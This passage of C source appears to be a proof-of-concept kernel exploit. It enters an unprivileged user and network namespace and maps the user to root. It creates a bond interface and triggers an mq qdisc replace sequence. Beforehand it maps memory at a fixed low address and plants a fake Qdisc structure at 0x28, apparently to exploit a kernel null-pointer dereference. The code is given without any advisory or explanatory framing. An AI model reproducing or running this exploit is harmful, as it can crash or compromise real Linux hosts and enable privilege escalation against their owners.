printf("[*] Creating namespace\n");
if (unshare(CLONE_NEWNET | CLONE_NEWUSER) < 0) {
perror("unshare");
exit(EXIT_FAILURE);
}
printf("[*] Namespaces created successfully\n");
f = open("/proc/self/uid_map", O_WRONLY);
if(f < 0) {
perror("cannot open /proc/self/uid_map");
exit(EXIT_FAILURE);
}
if(write(f, "0 1000 1", 8) < 0) {
perror("cannot write on /proc/self/uid_map");
close(f);
exit(EXIT_FAILURE);
}
printf("[*] User mapped to root inside the namespace!\n");
close(f);
}
int create_bond_interface(struct nl_sock * nl, char * name) {
struct rtnl_link *link;
int ret = 0;
if (nl == NULL){
return -1;
}
if (name == NULL){
return -1;
}
printf("[*] Creating interface %s\n", name);
link = rtnl_link_bond_alloc();
if (link == NULL){
return -1;
}
rtnl_link_set_name(link, name);
ret = rtnl_link_add(nl, link, NLM_F_CREATE);
rtnl_link_put(link);
return ret;
}
int set_interface_up(struct nl_sock * nl, char * name) {
struct rtnl_link *link;
int ret = 0;
if (nl == NULL){
return -1;
}
if (name == NULL){
return -1;
}
printf("[*] Setting interface %s up\n", name);
link = rtnl_link_bond_alloc();
if (link == NULL){
return -1;
}
rtnl_link_set_name(link, name);
rtnl_link_set_flags(link, IFF_UP);
ret = rtnl_link_add(nl, link, NLM_F_CREATE);
rtnl_link_put(link);
return ret;
}
int qdisc_add(struct nl_sock * nl, char * name) {
struct rtnl_qdisc *qdisc;
struct rtnl_link *link;
int ret = 0;
if (nl == NULL){
return -1;
}
if (name == NULL){
return -1;
}
printf("[*] Adding a qdisc to %s interface\n", name);
qdisc = rtnl_qdisc_alloc();
if (qdisc == NULL) {
perror("qdisc allocation");
return -1;
}
if (rtnl_link_get_kernel(nl, 0, name, &link) < 0) {
perror("can't find interface");
rtnl_qdisc_put(qdisc);
return -1;
}
printf("[*] ifindex: %d\n", rtnl_link_get_ifindex(link));
rtnl_tc_set_link(TC_CAST(qdisc), link);
rtnl_tc_set_parent(TC_CAST(qdisc), TC_H_ROOT);
rtnl_tc_set_handle(TC_CAST(qdisc), TC_HANDLE(0xffff, 0));
rtnl_tc_set_kind(TC_CAST(qdisc), "mq");
ret = rtnl_qdisc_add(nl, qdisc, NLM_F_CREATE);
rtnl_qdisc_put(qdisc);
rtnl_link_put(link);
return ret;
}
int qdisc_replace(struct nl_sock * nl, char * name) {
struct rtnl_qdisc *qdisc_new;
struct rtnl_link *link;
int ret = 0;
if (nl == NULL){
return -1;
}
if (name == NULL){
return -1;
}
printf("[*] Replace qdisc on %s interface\n", name);
qdisc_new = rtnl_qdisc_alloc();
if (qdisc_new == NULL) {
perror("qdisc new allocation");
return -1;
}
if (rtnl_link_get_kernel(nl, 0, name, &link) < 0) {
perror("can't find interface");
rtnl_qdisc_put(qdisc_new);
return -1;
}
rtnl_tc_set_link(TC_CAST(qdisc_new), link);
rtnl_tc_set_parent(TC_CAST(qdisc_new), TC_HANDLE(0xffff,0xfff1));
rtnl_tc_set_handle(TC_CAST(qdisc_new), TC_HANDLE(0xffff, 0));
rtnl_tc_set_kind(TC_CAST(qdisc_new), "mq");
ret = rtnl_qdisc_add(nl, qdisc_new, NLM_F_REPLACE);
rtnl_qdisc_put(qdisc_new);
rtnl_link_put(link);
return ret;
}
int main (void) {
struct nl_sock * sock_nl;
struct Qdisc * myqdisc;
char *mynull;
int err = 0;
setup_namespace();
mynull = mmap(NULL, PAGE_SIZE * PAGES, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
if (mynull == MAP_FAILED) {
perror("null mapping");
exit(EXIT_FAILURE);
}
*mynull = 0;
myqdisc = (void *)0x28;
myqdisc->refcnt = 1;
sock_nl = nl_socket_alloc();
if(sock_nl == NULL){
perror("nl_socket_alloc");
exit(EXIT_FAILURE);
}
if (nl_connect(sock_nl, NETLINK_ROUTE) < 0) {
perror("connect");
err = EXIT_FAILURE;
goto error;
}
if (create_bond_interface(sock_nl, "bond0") < 0) {
perror("bond_interface");
err = EXIT_FAILURE;
goto error;
}
if (set_interface_up(sock_nl, "bond0") < 0) {
perror("bond_interface");
err = EXIT_FAILURE;
goto error;
}
if (qdisc_add(sock_nl, "bond0") < 0) {
perror("qdisc add");
err = EXIT_FAILURE;
goto error;
}
if (qdisc_replace(sock_nl, "bond0") < 0) {
perror("qdisc replace");
err = EXIT_FAILURE;
goto error;
}
system("ip a");
error:
nl_socket_free(sock_nl);
return err;
}